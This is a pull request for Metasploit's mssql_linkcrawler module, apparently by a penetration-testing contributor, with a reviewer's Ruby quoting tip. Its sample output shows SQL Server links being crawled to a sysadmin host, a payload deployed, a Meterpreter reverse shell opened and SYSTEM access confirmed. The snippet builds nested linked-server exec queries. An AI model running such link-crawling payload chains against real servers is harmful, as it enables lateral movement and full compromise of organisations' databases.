Updated mssql_linkcrawler module

This PR updates the existing mssql_linkcrawler module.  It includes a few bug fixes, style changes (recommended from the previous PR), and a crawl summary at the end of the output.  I've included sample output and links to a few screenshots below.

Note:  This was previously submitted as a PR, but I ended up having some conflicts.  Hopefully this fixed those issue, but let me know if I hosed it.

Sample Screenshots:
http://imgur.com/O1sHAoT,PGBIRaF,KzGj2wK,Ks8SFKX#0
http://imgur.com/O1sHAoT,PGBIRaF,KzGj2wK,Ks8SFKX#1
http://imgur.com/O1sHAoT,PGBIRaF,KzGj2wK,Ks8SFKX#2
http://imgur.com/O1sHAoT,PGBIRaF,KzGj2wK,Ks8SFKX#3

Sample output:
<pre>
[*] Start time : 2014-10-16 14:27:27 -0500
[*] -------------------------------------------------
[*] Attempting to connect to SQL Server at 10.2.9.101:1433...
[+] Successfully connected to LVA
[*]
[*] -------------------------------------------------
[*] Crawling links on LVA...
[*] Links found: 1
[*] -------------------------------------------------
[*] Link path: LVA -> HVA
[*]
[*] -------------------------------------------------
[*] Crawling links on HVA...
[*] Links found: 2
[*] -------------------------------------------------
[+] Link path: LVA -> HVA -> HVA\NAMED2K5 (Sysadmin!)
[-] Link Path: LVA -> HVA -> BADSERVER1 - Connection Failed
[*] Ready to deploy a payload to HVA\NAMED2K5
[*] Deploying payload...
[*] Executing payload...
[*] Sending stage (769536 bytes) to 10.2.9.160
[*] Meterpreter session 1 opened (10.2.9.110:4444 -> 10.2.9.160:1246) at 2014-10-16 14:28:26 -0500
[*]
[*] -------------------------------------------------
[*] Crawling links on HVA\NAMED2K5...
[*] Links found: 2
[*] -------------------------------------------------
[*] Link path: LVA -> HVA -> HVA\NAMED2K5 -> LVA
[-] Link Path: LVA -> HVA -> HVA\NAMED2K5 -> 10.2.9.10,1433 - Connection Failed
[*]
[*] -------------------------------------------------
[*] End time : 2014-10-16 14:28:49 -0500
[*] -------------------------------------------------
[*]
[*] -------------------------------------------------
[*] Crawl Summary
[*] -------------------------------------------------
[*] 3 SQL Servers found
[*] 1 with Sysadmin privs
[*] 2 with user privs
[*] -------------------------------------------------
[*] Results have been saved to: /root/.msf4/loot/20141016142849_default_10.2.9.101_crawled_links_924300.txt

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
</pre>
I don't know if you want to here or not, but you can use the ruby alternative quoting string literal here instead to help manage the quotes.  You might also consider bringing back the quotes variable as it avoids duplication and extra string ops

```
quotes = "'"*2**ticks
sql = %Q|exec(#{quotes}#{query_builder_rpc(temp, sql, ticks + 1, execute)}#{quotes} at [#{exec_at}] |
```
The %Q is a little weird looking, but makes the rest of the string much more readable.  In my example, I'm using the '|' or pipe as the alt quote, you can use anything, but idiomatic ruby says use the | unless you need it in your string, then try { or ( etc